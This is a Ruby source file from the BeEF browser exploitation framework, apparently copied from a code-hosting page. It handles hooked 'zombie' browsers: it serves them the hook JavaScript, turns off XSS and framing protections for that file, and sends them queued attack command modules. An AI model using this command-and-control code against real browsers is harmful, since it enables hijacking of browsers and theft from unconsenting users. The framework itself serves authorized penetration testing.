Path: blob/master/core/main/handlers/hookedbrowsers.rb
1875 views
#1# Copyright (c) 2006-2026 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5module BeEF6module Core7module Handlers8# @note This class handles connections from hooked browsers to the framework.9class HookedBrowsers < BeEF::Core::Router::Router10include BeEF::Core::Handlers::Modules::BeEFJS11include BeEF::Core::Handlers::Modules::MultiStageBeEFJS12include BeEF::Core::Handlers::Modules::LegacyBeEFJS13include BeEF::Core::Handlers::Modules::Command1415# antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.16configure do17disable :protection18end1920# Generate the hook js provided to the hookwed browser (the magic happens here)21def confirm_browser_user_agent(user_agent)22browser_type = user_agent.split(' ').last # selecting just name/version of browser23# does the browser already exist in the legacy database / object? Return true if yes24# browser and therefore which version of the hook file to generate and use25BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|26return true if ua_string.include? browser_type27end28false29end3031# Process HTTP requests sent by a hooked browser to the framework.32# It will update the database to add or update the current hooked browser33# and deploy some command modules or extensions to the hooked browser.34get '/' do35@body = ''36params = request.query_string37# @response = Rack::Response.new(body=[], 200, header={})38config = BeEF::Core::Configuration.instance3940# @note check source ip address of browser41permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')42if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?43BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")44error 40445end4647found = false48permitted_hooking_subnet.each do |subnet|49found = true if IPAddr.new(subnet).include?(request.ip)50end5152unless found53BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")54error 40455end5657excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')58unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?59excluded_ip_hooked = false6061excluded_hooking_subnet.each do |subnet|62excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)63end6465if excluded_ip_hooked66BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.")67error 40468end69end7071# @note get zombie if already hooked the framework72hook_session_name = config.get('beef.http.hook_session_name')73hook_session_id =74if request.respond_to?(:[])75request[hook_session_name]76else77request.params[hook_session_name] || request.env[hook_session_name]78end79begin80raise ActiveRecord::RecordNotFound if hook_session_id.nil?8182hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first83rescue ActiveRecord::RecordNotFound84hooked_browser = false85end8687# @note is a new browser so return instructions to set up the hook88if hooked_browser89# @note Check if we haven't seen this browser for a while, log an event if we haven't90if (Time.new.to_i - hooked_browser.lastseen.to_i) > 6091BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s)92end9394# @note record the last poll from the browser95hooked_browser.lastseen = Time.new.to_i9697# @note Check for a change in zombie IP and log an event98if config.get('beef.http.allow_reverse_proxy') == true99if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR']100BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s)101hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR']102end103elsif hooked_browser.ip != request.ip104BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s)105hooked_browser.ip = request.ip106end107108hooked_browser.count!109hooked_browser.save!110111# @note add all available command module instructions to the response112zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)113zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }114115# @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered116are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)117are_executions.each do |are_exec|118@body += are_exec.mod_body119are_exec.update(is_sent: true, exec_time: Time.new.to_i)120end121122# @note We dynamically get the list of all browser hook handler using the API and register them123BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)124else125126# @note generate the instructions to hook the browser127host_name = request.host128unless BeEF::Filters.is_valid_hostname?(host_name)129(print_error 'Invalid host name'130return)131end132133# Generate the hook js provided to the hookwed browser (the magic happens here)134if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')135print_debug 'Using WebSocket'136build_beefjs!(host_name)137elsif confirm_browser_user_agent(request.user_agent)138print_debug 'Using multi_stage_beefjs'139multi_stage_beefjs!(host_name)140else141print_debug 'Using legacy_build_beefjs'142legacy_build_beefjs!(host_name)143end144# @note is a known browser so send instructions145end146147# @note set response headers and body148headers 'Pragma' => 'no-cache',149'Cache-Control' => 'no-cache',150'Expires' => '0',151'Content-Type' => 'text/javascript',152'Access-Control-Allow-Origin' => '*',153'Access-Control-Allow-Methods' => 'POST, GET'154@body155end156end157end158end159end160161162